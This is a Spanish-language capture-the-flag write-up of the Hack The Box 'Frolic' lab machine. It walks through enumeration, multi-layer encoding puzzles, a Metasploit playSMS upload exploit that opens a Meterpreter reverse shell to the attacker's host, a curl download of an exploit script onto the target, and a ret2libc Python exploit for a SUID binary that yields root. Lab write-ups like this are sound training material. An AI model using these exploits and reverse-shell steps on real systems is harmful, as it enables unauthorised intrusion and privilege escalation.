This page looks best with JavaScript enabled

Hack The Box - Frolic

 •  ✍️ sckull

Frolic de HackTheboxk. Tras analizar el codigo fuente de la pagina web presenta multiples retos lo que nos llevo a unas credenciales que utilizamos en playSMS el cual explotamos una vulnerabilidad que nos dio acceso a la maquina. Para escalar privilegios expotamos un binario con privilegios SUID.

Nombre Frolic box_img_maker
OS

Linux

Puntos 20
Dificultad Facil
IP 10.10.10.111
Maker

felamos

Matrix
{
   "type":"radar",
   "data":{
      "labels":["Enumeration","Real-Life","CVE","Custom Explotation","CTF-Like"],
      "datasets":[
         {
            "label":"User Rate",  "data":[6.2, 3.4, 5, 5, 6.6],
            "backgroundColor":"rgba(75, 162, 189,0.5)",
            "borderColor":"#4ba2bd"
         },
         { 
            "label":"Maker Rate",
            "data":[6, 5, 7, 3, 5],
            "backgroundColor":"rgba(154, 204, 20,0.5)",
            "borderColor":"#9acc14"
         }
      ]
   },
    "options": {"scale": {"ticks": {"backdropColor":"rgba(0,0,0,0)"},
            "angleLines":{"color":"rgba(255, 255, 255,0.6)"},
            "gridLines":{"color":"rgba(255, 255, 255,0.6)"}
        }
    }
}

MASSCAN & NMAP

Realizamos un escaneo de puertos udp y tcp con masscan.

1
2
3
4
5
6
7
8
masscan -p1-65535,U:1-65535 10.10.10.111 --rate=1000 -e tun0

Starting masscan 1.0.4 (http://bit.ly/14GZzcT)
 -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 139/tcp on 10.10.10.111                                   
Discovered open port 9999/tcp on 10.10.10.111

Escaneando el servicio que corre en los puertos encontrados con masscan.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
Starting Nmap 7.70 ( https://nmap.org )
Nmap scan report for 10.10.10.111
Host is up (1.0s latency).

PORT     STATE SERVICE     VERSION
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
9999/tcp open  http        nginx 1.10.3 (Ubuntu)
Service Info: Host: FROLIC; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.19 seconds

SAMBA

Un escaneo de puntos compartidos con smbclient, no encontramos mucho que nos pudiese ayudar.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
root@sckull:~# smbclient -L 10.10.10.111
Enter WORKGROUP\root's password: 

	Sharename       Type      Comment
	---------       ----      -------
	print$          Disk      Printer Drivers
	IPC$            IPC       IPC Service (frolic server (Samba, Ubuntu))
Reconnecting with SMB1 for workgroup listing.

	Server               Comment
	---------            -------

	Workgroup            Master
	---------            -------
	WORKGROUP            FRIENDZONE

HTTP

Un escaneo de rutas y archivos con gobuster al puerto 9999.

1
2
3
4
5
6
root@sckull:~# gobuster -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-small.txt -u http://10.10.10.111:9999/ -q -np -x php,html,txt,js -t 15
/admin (Status: 301)
/backup (Status: 301)
/dev (Status: 301)
/test (Status: 301)
/playsms (Status: 301)

Dentro de la ruta /admin encontramos un panel de administracion que necesita un usuario y contraseña
image

En /backup encontramos password.txt y user.txt que contienen una contraseña y usuario respectivamente:

image

1
2
passsword.txt -> password - imnothuman
user.txt -> user - admin

En la ruta /dev y /loop no encontramos nada, dentro de /test informacion de la version de php corriendo en la maquina.
image

Finalmente en /playsms encontramos un login:
image

Admin - Challenges

Analizando el codigo de la ruta /admin encontramos que contiene un archivo de javascript llamado login.js:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<html>
<head>
<title>Crack me :|</title>
<!-- Include CSS File Here -->
<link rel="stylesheet" href="css/style.css"/>
<!-- Include JS File Here -->
<script src="js/login.js"></script>
</head>
<body>
<div class="container">
<div class="main">
<h2>c'mon i m hackable</h2>
<form id="form_id" method="post" name="myform">
<label>User Name :</label>
<input type="text" name="username" id="username"/>
<label>Password :</label>
<input type="password" name="password" id="password"/>
<input type="button" value="Login" id="submit" onclick="validate()"/>
</form>
<span><b class="note">Note : Nothing</b></span>
</div>
</div>
</body>
</html>

Y dentro de login.js encontramos una condicional que contiene un usuario y contraseña, tambien una redireccion hacia success.html:

1
2
usuario: admin
contraseña: superduperlooperpassword_lol
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
var attempt = 3; // Variable to count number of attempts.
// Below function Executes on click of login button.
function validate(){
var username = document.getElementById("username").value;
var password = document.getElementById("password").value;
if ( username == "admin" && password == "superduperlooperpassword_lol"){
alert ("Login successfully");
window.location = "success.html"; // Redirecting to other page.
return false;
}
else{
attempt --;// Decrementing by one.
alert("You have left "+attempt+" attempt;");
// Disabling fields after 3 attempts.
if( attempt == 0){
document.getElementById("username").disabled = true;
document.getElementById("password").disabled = true;
document.getElementById("submit").disabled = true;
return false;
}
}
}

Dentro de success.html encontramos caracteres extraños:

image

1
..... ..... ..... .!?!! .?... ..... ..... ...?. ?!.?. ..... ..... ..... ..... ..... ..!.? ..... ..... .!?!! .?... ..... ..?.? !.?.. ..... ..... ....! ..... ..... .!.?. ..... .!?!! .?!!! !!!?. ?!.?! !!!!! !...! ..... ..... .!.!! !!!!! !!!!! !!!.? ..... ..... ..... ..!?! !.?!! !!!!! !!!!! !!!!? .?!.? !!!!! !!!!! !!!!! .?... ..... ..... ....! ?!!.? ..... ..... ..... .?.?! .?... ..... ..... ...!. !!!!! !!.?. ..... .!?!! .?... ...?. ?!.?. ..... ..!.? ..... ..!?! !.?!! !!!!? .?!.? !!!!! !!!!. ?.... ..... ..... ...!? !!.?! !!!!! !!!!! !!!!! ?.?!. ?!!!! !!!!! !!.?. ..... ..... ..... .!?!! .?... ..... ..... ...?. ?!.?. ..... !.... ..... ..!.! !!!!! !.!!! !!... ..... ..... ....! .?... ..... ..... ....! ?!!.? !!!!! !!!!! !!!!! !?.?! .?!!! !!!!! !!!!! !!!!! !!!!! .?... ....! ?!!.? ..... .?.?! .?... ..... ....! .?... ..... ..... ..!?! !.?.. ..... ..... ..?.? !.?.. !.?.. ..... ..!?! !.?.. ..... .?.?! .?... .!.?. ..... .!?!! .?!!! !!!?. ?!.?! !!!!! !!!!! !!... ..... ...!. ?.... ..... !?!!. ?!!!! !!!!? .?!.? !!!!! !!!!! !!!.? ..... ..!?! !.?!! !!!!? .?!.? !!!.! !!!!! !!!!! !!!!! !.... ..... ..... ..... !.!.? ..... ..... .!?!! .?!!! !!!!! !!?.? !.?!! !.?.. ..... ....! ?!!.? ..... ..... ?.?!. ?.... ..... ..... ..!.. ..... ..... .!.?. ..... ...!? !!.?! !!!!! !!?.? !.?!! !!!.? ..... ..!?! !.?!! !!!!? .?!.? !!!!! !!.?. ..... ...!? !!.?. ..... ..?.? !.?.. !.!!! !!!!! !!!!! !!!!! !.?.. ..... ..!?! !.?.. ..... .?.?! .?... .!.?. ..... ..... ..... .!?!! .?!!! !!!!! !!!!! !!!?. ?!.?! !!!!! !!!!! !!.!! !!!!! ..... ..!.! !!!!! !.?. 

Utilizando la pagina ook-language para decodificar lo anterior:

image

Nos muestra el mensaje: ‘Nothing here check /asdiSIAJJ0QWE9JAS’ por lo que podria ser una ruta dentro de la pagina al visitar dicha ruta nos encontramos con lo siguiente:

1
2
3
4
5
6
7
UEsDBBQACQAIAMOJN00j/lsUsAAAAGkCAAAJABwAaW5kZXgucGhwVVQJAAOFfKdbhXynW3V4CwAB
BAAAAAAEAAAAAF5E5hBKn3OyaIopmhuVUPBuC6m/U3PkAkp3GhHcjuWgNOL22Y9r7nrQEopVyJbs
K1i6f+BQyOES4baHpOrQu+J4XxPATolb/Y2EU6rqOPKD8uIPkUoyU8cqgwNE0I19kzhkVA5RAmve
EMrX4+T7al+fi/kY6ZTAJ3h/Y5DCFt2PdL6yNzVRrAuaigMOlRBrAyw0tdliKb40RrXpBgn/uoTj
lurp78cmcTJviFfUnOM5UEsHCCP+WxSwAAAAaQIAAFBLAQIeAxQACQAIAMOJN00j/lsUsAAAAGkC
AAAJABgAAAAAAAEAAACkgQAAAABpbmRleC5waHBVVAUAA4V8p1t1eAsAAQQAAAAABAAAAABQSwUG
AAAAAAEAAQBPAAAAAwEAAAAA

image

En este caso un archivo codificado en base64 y lo agregamos a un nuevo archivo, verificamos que tipo de archivo es con ‘file’ y vemos que el archivo decodificado (file_decode) es un archivo zip por lo que le cambiamos el nombre y le agregamos ‘.zip’ al final:

1
2
3
4
5
root@sckull:~/htb/frolic# echo "UEsDBBQACQAIAMOJN00j/lsUsAAAAGkCAAAJABwAaW5kZXgucGhwVVQJAAOFfKdbhXynW3V4CwABBAAAAAAEAAAAAF5E5hBKn3OyaIopmhuVUPBuC6m/U3PkAkp3GhHcjuWgNOL22Y9r7nrQEopVyJbsK1i6f+BQyOES4baHpOrQu+J4XxPATolb/Y2EU6rqOPKD8uIPkUoyU8cqgwNE0I19kzhkVA5RAmveEMrX4+T7al+fi/kY6ZTAJ3h/Y5DCFt2PdL6yNzVRrAuaigMOlRBrAyw0tdliKb40RrXpBgn/uoTjlurp78cmcTJviFfUnOM5UEsHCCP+WxSwAAAAaQIAAFBLAQIeAxQACQAIAMOJN00j/lsUsAAAAGkCAAAJABgAAAAAAAEAAACkgQAAAABpbmRleC5waHBVVAUAA4V8p1t1eAsAAQQAAAAABAAAAABQSwUGAAAAAAEAAQBPAAAAAwEAAAAA" | base64 -d > file.txt
root@sckull:~/htb/frolic# file file.txt 
file.txt: Zip archive data, at least v2.0 to extract
root@sckull:~/htb/frolic# 
root@sckull:~/htb/frolic# mv file.txt file.zip

Luego al intentar descomprimir el archivo file.zip nos pide una contraseña, en este caso la contraseña es ‘password’ (contraseñas comunes), nos devuelve un archivo index.php.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
root@sckull:~/htb/frolic# 7z x file.zip 

7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 
Scanning the drive for archives:
1 file, 360 bytes (1 KiB)

Extracting archive: file.zip
--
Path = file.zip
Type = zip
Physical Size = 360
    
Enter password (will not be echoed):password
Everything is Ok

Size:       617
Compressed: 360
root@sckull:~/htb/frolic# ls
file.zip  index.php

En el interior de index.php nos encontramos con texto en HEX al pasarlo a texto nos devuelve otra vez un texto en base64:

1
4b7973724b7973674b7973724b7973675779302b4b7973674b7973724b7973674b79737250463067506973724b7973674b7934744c5330674c5330754b7973674b7973724b7973674c6a77720d0a4b7973675779302b4b7973674b7a78645069734b4b797375504373674b7974624c5434674c53307450463067506930744c5330674c5330754c5330674c5330744c5330674c6a77724b7973670d0a4b317374506973674b79737250463067506973724b793467504373724b3173674c5434744c53304b5046302b4c5330674c6a77724b7973675779302b4b7973674b7a7864506973674c6930740d0a4c533467504373724b3173674c5434744c5330675046302b4c5330674c5330744c533467504373724b7973675779302b4b7973674b7973385854344b4b7973754c6a776743673d3d0d0a
1
2
3
4
5
root@sckull:~/htb/frolic# echo 4b7973724b7973674b7973724b7973675779302b4b7973674b7973724b7973674b79737250463067506973724b7973674b7934744c5330674c5330754b7973674b7973724b7973674c6a77720d0a4b7973675779302b4b7973674b7a78645069734b4b797375504373674b7974624c5434674c53307450463067506930744c5330674c5330754c5330674c5330744c5330674c6a77724b7973670d0a4b317374506973674b79737250463067506973724b793467504373724b3173674c5434744c53304b5046302b4c5330674c6a77724b7973675779302b4b7973674b7a7864506973674c6930740d0a4c533467504373724b3173674c5434744c5330675046302b4c5330674c5330744c533467504373724b7973675779302b4b7973674b7973385854344b4b7973754c6a776743673d3d0d0a | xxd -r -p
KysrKysgKysrKysgWy0+KysgKysrKysgKysrPF0gPisrKysgKy4tLS0gLS0uKysgKysrKysgLjwr
KysgWy0+KysgKzxdPisKKysuPCsgKytbLT4gLS0tPF0gPi0tLS0gLS0uLS0gLS0tLS0gLjwrKysg
K1stPisgKysrPF0gPisrKy4gPCsrK1sgLT4tLS0KPF0+LS0gLjwrKysgWy0+KysgKzxdPisgLi0t
LS4gPCsrK1sgLT4tLS0gPF0+LS0gLS0tLS4gPCsrKysgWy0+KysgKys8XT4KKysuLjwgCg==

Al decodificar el texto en base64 nos devuelve texto en lenguaje ‘brainfuck’:

1
2
3
4
5
6
root@sckull:~/htb/frolic# echo KysrKysgKysrKysgWy0+KysgKysrKysgKysrPF0gPisrKysgKy4tLS0gLS0uKysgKysrKysgLjwrKysgWy0+KysgKzxdPisKKysuPCsgKytbLT4gLS0tPF0gPi0tLS0gLS0uLS0gLS0tLS0gLjwrKysgK1stPisgKysrPF0gPisrKy4gPCsrK1sgLT4tLS0KPF0+LS0gLjwrKysgWy0+KysgKzxdPisgLi0tLS4gPCsrK1sgLT4tLS0gPF0+LS0gLS0tLS4gPCsrKysgWy0+KysgKys8XT4KKysuLjwgCg== | base64 -d
+++++ +++++ [->++ +++++ +++<] >++++ +.--- --.++ +++++ .<+++ [->++ +<]>+
++.<+ ++[-> ---<] >---- --.-- ----- .<+++ +[->+ +++<] >+++. <+++[ ->---
<]>-- .<+++ [->++ +<]>+ .---. <+++[ ->--- <]>-- ----. <++++ [->++ ++<]>
++..< 
root@sckull:~/htb/frolic#

Decodificando el mensaje con brainfuck-language

image

playSMS

Intentamos utilizar idkwhatispass como contraseña en /playsms y el usuario admin y nos logramos logear dentro de la plataforma.

image

Para esta plataforma (playsms) encontramos un exploit (exploit/multi/http/playsms_uploadcsv_exec) dentro de metasploit y lo utilizamos con las credenciales que habiamos encontrado.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
msf5 > use exploit/multi/http/playsms_uploadcsv_exec
msf5 exploit(multi/http/playsms_uploadcsv_exec) > show options 

Module options (exploit/multi/http/playsms_uploadcsv_exec):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   PASSWORD   idkwhatispass    yes       Password to authenticate with
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS     10.10.10.111     yes       The target address range or CIDR identifier
   RPORT      9999             yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /playsms         yes       Base playsms directory path
   USERNAME   admin            yes       Username to authenticate with
   VHOST                       no        HTTP server virtual host


Payload options (php/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  10.10.X.X      yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   PlaySMS 1.4

msf5 exploit(multi/http/playsms_uploadcsv_exec) > exploit 

[*] Started reverse TCP handler on 10.10.X.X:4444 
[+] Authentication successful: admin:idkwhatispass
[*] Sending stage (38247 bytes) to 10.10.10.111
[*] Meterpreter session 1 opened (10.10.X.X:4444 -> 10.10.10.111:33574)

meterpreter > shell
Process 1765 created.
Channel 0 created.
cd /home/ayush
ls
user.txt
cat user.txt
2ab95909cf509f85a6f476b59a0c2fe0

Obtenemos nuestra bandera user.txt.

PRIVILEGE ESCALATION

En los archivos de ayush encontramos un archivo llamado .rop que tiene permisos del usuario root.

1
2
3
4
5
6
7
www-data@frolic:/home/ayush/.binary$ ls -lah
ls -lah
total 16K
drwxrwxr-x 2 ayush ayush 4.0K Sep 25 02:43 .
drwxr-xr-x 3 ayush ayush 4.0K Sep 25 02:00 ..
-rwsr-xr-x 1 root  root  7.4K Sep 25 00:59 rop
www-data@frolic:/home/ayush/.binary$

Utilizando el siguiente script obtenemos privilegios root y nuestra bandera root.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
from struct import pack
from subprocess import call

system = 0xb7e19000 + 0x0003ada0
exit = 0xb7e19000 + 0x0002e9d0
binsh = 0xb7e19000 + 0x0015ba0b

def p32(num):
     return pack("<I",num)

buf = "A"*52
buf += p32(system)
buf += p32(exit)
buf += p32(binsh)

call(["/home/ayush/.binary/rop", buf])
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
www-data@frolic:/tmp$ curl 10.10.15.46:80/bf.py -o bf.py
www-data@frolic:/tmp$ ls
ls
bf.py
www-data@frolic:/tmp$ python bf.py
python bf.py
# whoami; id; wc -c /root/root.txt; cat /root/root.txt
whoami; id; wc -c /root/root.txt; cat /root/root.txt
root
uid=0(root) gid=33(www-data) groups=33(www-data)
33 /root/root.txt
85d3fdf03f969892538ba9a731826222
# 
Share on

Dany Sucuc
WRITTEN BY
sckull
RedTeamer & Pentester wannabe